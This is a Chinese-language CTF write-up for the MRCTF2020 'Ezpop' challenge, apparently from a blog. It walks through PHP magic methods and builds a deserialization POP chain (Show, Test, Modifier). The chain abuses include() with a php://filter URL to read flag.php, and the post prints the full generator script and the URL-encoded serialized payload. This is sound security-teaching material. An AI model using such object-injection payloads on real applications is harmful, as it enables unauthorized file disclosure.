首页 > 其他分享 >[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

时间:2023-03-21 16:58:38浏览次数:44  
标签:__ function 调用 3A% source Ezpop public MRCTF2020

1.解题过程

1.题目

源代码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

2.几大魔术方法介绍

题目上说是Ez,但是一般说是easy的题目一点的都不easy,并且难的一

题目中用到的魔术方法

  • __invoke:当尝试以调用函数的方式调用一个对象时,方法会被自动调用
  • __construct:类一执行就开始调用,其作用是拿来初始化一些值
  • __toString:在对象当做字符串的时候会被调用
  • __wakeup:该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作
  • __get:当访问类中的私有或者不存在的属性时就会触发魔术方法

3.发现

第一个类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

一眼文件包含,只要__invoke魔术方法被调用即可包含文件


第二个类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

__construct没有什么用

__toString中有return,是一个输出点

__wakeup中有个正则,可以将对象当作自字符串


第三个类

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

第三个类中的__construct也没有什么用

__get中有return返回函数,可以将对象当作函数返回

4.捋一手思路

我们需要__invoke被调用包含文件,然后调用__toString输出结果

__invoke:当尝试以调用函数的方式调用一个对象时,方法会被自动调用

__get:当访问类中的私有或者不存在的属性时就会触发魔术方法

首先__Modifier中有私有属性,且__get可以将对象当函数调用,所以:

$c = new Test();
$c ->p = new Modifier();

即可调用__invoke


包含了文件还需要将结果输出出来,就需要用到第二个类

__toString:在对象当做字符串的时候会被调用

__wakeup:该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作

__wakeup会自动调用,代码中ta会将source属性当字符串调用,所以:

$b = new Show();
$b ->source = $b;

即可调用__toString,输出的$str所以:


$b ->source->str = $c;

即可输出__Modifier包含的文件

5.payload

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$b = new Show();
$c = new Test();
$c ->p = new Modifier();
$b ->source = $b;
$b ->source->str = $c;
echo urlencode(serialize($b));
//输出
//Welcome to index.php<br>O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

将序列化的数据url编码一下可以防止传值的时候出错

输出结果的前面一些[1]需要删掉

web页面输出结果:

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezIxYzg5MmRhLTRmYjYtNDQ5YS1iNjZlLWE5MTEzYWY2ZjRhYn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

1.png (948×163) (raw.githubusercontent.com)


  1. Welcome to index.php<br> ↩︎

标签:__,function,调用,3A%,source,Ezpop,public,MRCTF2020
From: https://www.cnblogs.com/qwerxingjian/p/17240562.html

相关文章

  • [MRCTF2020]Ezaudit
    [MRCTF2020]Ezaudit考点:php的伪随机数好复杂的页面,搜索了一下php、form等可能可以利用的字段无果,然后猜测有备份,果然尝试了一下www.zip,里面有一个index.php<?phpheade......
  • re | [MRCTF2020]VirtualTree
    re|[MRCTF2020]VirtualTree这个题是一个错题,是有多解的。原因是使用了abs函数考察了二叉树后序遍历,和一点基本花指令,还有一点点smc的内容。直接丢exp了:#include<s......
  • buuctf-web-[MRCTF2020]Ez_bypass
    知识点:md5的强弱比较==先将字符串类型转化成相同,再比较===先判断两种字符串的类型是否相等,再比较。先看代码关键部分if(md5($id)===md5($gg)&&$id!==$gg){......
  • buuoj-[MRCTF2020]Xor
    1.winexe32bit无壳2.进入程序无法反汇编去查了百度3.很简单的异或数据是MRCTF{@_R3@1ly_E2_R3verse!}异或它的index就好了str='MSAWB~FXZ:J:`tQJ"N@bpdd}8g'......
  • buuoj-[MRCTF2020]Transform
    1.winexe64bit无壳2.存在关键字符串3.ctrl+x跟踪找到程序主体4.浅浅分析+百度lobyte是啥一下5.脚本arr1=[0x67,0x79,0x7B,0x7F,0x75,0x2B,0x3C,0x52,......